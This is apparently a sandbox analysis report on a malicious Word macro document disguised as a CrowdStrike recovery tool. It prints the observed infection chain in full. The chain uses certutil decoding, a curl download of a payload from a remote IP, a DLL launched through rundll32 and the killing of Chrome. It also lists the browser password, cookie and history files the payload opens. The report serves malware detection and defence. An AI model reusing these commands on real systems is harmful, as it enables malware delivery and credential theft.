Source: rundll32.exe, 00000010.00000003.2451014222.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2540593407.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2416797193.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2550439735.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2500142406.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2430247545.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2257877794.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2479616705.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2461554328.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2429834267.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2510194846.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: document.xml	Binary or memory string: </w:t></w:r></w:p><w:p w14:paraId="5A9C771D" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:b/><w:bCs/><w:color w:val="333333"/></w:rPr><w:t>Using recovery media on Hyper-V virtual machines</w:t></w:r><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t xml:space="preserve"> The recovery media can be used to remediate impacted Hyper-V virtual machines. To do so, select the option to generate an ISO when creating the recovery media using the steps above. For non-Hyper-V virtual machines, follow instructions provided by your hypervisor vendor to utilize the recovery media.</w:t></w:r></w:p><w:p w14:paraId="3F927671" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>
Source: rundll32.exe, 00000010.00000003.2238753292.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2238844395.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll00
Source: document.xml	Binary or memory string: s Hyper-V settings.</w:t></w:r></w:p><w:p w14:paraId="4A7B9EB4" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:numPr><w:ilvl w:val="0"/><w:numId w:val="14"/></w:numPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:spacing w:before="100" w:beforeAutospacing="1" w:after="100" w:afterAutospacing="1" w:line="259" w:lineRule="auto"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:t>Reboot normally.</w:t></w:r></w:p><w:p w14:paraId="0384424D" w14:textId="77777777" w:rsidR="0065064B" w:rsidRPr="0065064B" w:rsidRDefault="0065064B" w:rsidP="0065064B"><w:pPr><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr></w:pPr><w:r w:rsidRPr="0065064B"><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="333333"/></w:rPr><w:lastRenderedPageBreak/><w:t>

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_008B155B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_008B155B

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_0087D33A GetModuleHandleA,GetProcAddress,_mbspbrk,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,malloc,malloc,GetSystemDirectoryA,LoadLibraryA,free,free,

13_2_0087D33A

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008B0CB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_008B0CB4
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008B155B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_008B155B
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008B16BE SetUnhandledExceptionFilter,	13_2_008B16BE
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C91410 __crtCaptureCurrentContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FFD92C91410
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C09FB0 SetUnhandledExceptionFilter,	16_2_00007FFD92C09FB0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C09D50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FFD92C09D50
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C08970 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FFD92C08970
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00880CB4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_00880CB4
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0088155B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0088155B
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_008816BE SetUnhandledExceptionFilter,	33_2_008816BE

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Network Connect: 172.104.160.126 5000

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	OLE indicator, VBA stomping: true
Source: ~WRC0000.tmp.26.dr	OLE indicator, VBA stomping: true

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_008B137A cpuid

13_2_008B137A

Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	16_2_00007FFD92CD7430
Source: C:\Windows\System32\rundll32.exe	Code function: __vcrt_getptd,__vcrt_getptd,GetLcidFromDefault,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	16_2_00007FFD92CD76C0
Source: C:\Windows\System32\rundll32.exe	Code function: __crt_fast_encode_pointer,EnumSystemLocalesW,	16_2_00007FFD92CBDD50
Source: C:\Windows\System32\rundll32.exe	Code function: __vcrt_getptd,EnumSystemLocalesW,	16_2_00007FFD92CD6AA0
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoEx,FormatMessageA,	16_2_00007FFD92C0AAC0
Source: C:\Windows\System32\rundll32.exe	Code function: __vcrt_getptd,EnumSystemLocalesW,	16_2_00007FFD92CD6B70
Source: C:\Windows\System32\rundll32.exe	Code function: GetLocaleInfoW,	16_2_00007FFD92CBEB80
Source: C:\Windows\System32\rundll32.exe	Code function: __vcrt_getptd,EnumSystemLocalesW,	16_2_00007FFD92CD6C80

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\result.txt VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SGlzdG9yeQ== VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\V2ViIERhdGE= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\cGxhY2VzLnNxbGl0ZQ== VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TVhQWENWUERWTi5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UU5DWUNERklKSi54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TVhQWENWUERWTi5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UU5DWUNERklKSi54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\result.txt VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SGlzdG9yeQ== VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\V2ViIERhdGE= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\cGxhY2VzLnNxbGl0ZQ== VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TVhQWENWUERWTi5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UU5DWUNERklKSi54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TVhQWENWUERWTi5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UU5DWUNERklKSi54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UElWRkFHRUFBVi5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UUNGV1lTS01IQS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TVhQWENWUERWTi5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\SVBLR0VMTlRRWS5wZGY= VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\TkVCRlFRWVdQUy5kb2N4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\UU5DWUNERklKSi54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\U0ZQVVNBRklPTC54bHN4 VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Temp\WlFJWE1WUUdBSC54bHN4 VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\curl.exe

Code function: 13_2_008B1775 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_008B1775

Source: C:\Windows\System32\rundll32.exe

Code function: 16_2_00007FFD92CC8F40 _invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,GetTimeZoneInformation,

16_2_00007FFD92CC8F40

Source: C:\Windows\SysWOW64\certutil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\System32\rundll32.exe

Code function: \Google\Chrome\User Data\Default\Login Data

16_2_00007FFD92BE1290

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History

Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0089A8D8 calloc,calloc,___from_strstr_to_strchr,___from_strstr_to_strchr,inet_pton,strncpy,___from_strstr_to_strchr,strtoul,___from_strstr_to_strchr,strtoul,getsockname,WSAGetLastError,free,free,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,free,free,	13_2_0089A8D8
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008A699F socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,ioctlsocket,accept,getsockname,getpeername,closesocket,closesocket,closesocket,closesocket,	13_2_008A699F
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_00898490 calloc,calloc,calloc,calloc,calloc,calloc,bind,WSAGetLastError,	13_2_00898490
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_0087DEDF strncmp,strncmp,inet_pton,inet_pton,htons,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	13_2_0087DEDF
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C496B0 _mbsset_s,_mbsset_s,getsockname,WSAGetLastError,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	16_2_00007FFD92C496B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C3DF49 bind,WSAGetLastError,	16_2_00007FFD92C3DF49
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C37F90 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	16_2_00007FFD92C37F90
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C543E0 htons,_mbsset_s,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	16_2_00007FFD92C543E0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C3E1E0 bind,WSAGetLastError,	16_2_00007FFD92C3E1E0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0086A8D8 calloc,calloc,___from_strstr_to_strchr,___from_strstr_to_strchr,inet_pton,strncpy,___from_strstr_to_strchr,strtoul,___from_strstr_to_strchr,strtoul,getsockname,WSAGetLastError,free,free,WSAGetLastError,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,free,free,	33_2_0086A8D8
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087699F socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,ioctlsocket,accept,getsockname,getpeername,closesocket,closesocket,closesocket,closesocket,	33_2_0087699F
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00868490 calloc,calloc,calloc,calloc,calloc,calloc,bind,WSAGetLastError,	33_2_00868490
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0084DEDF strncmp,strncmp,inet_pton,inet_pton,htons,htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	33_2_0084DEDF

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
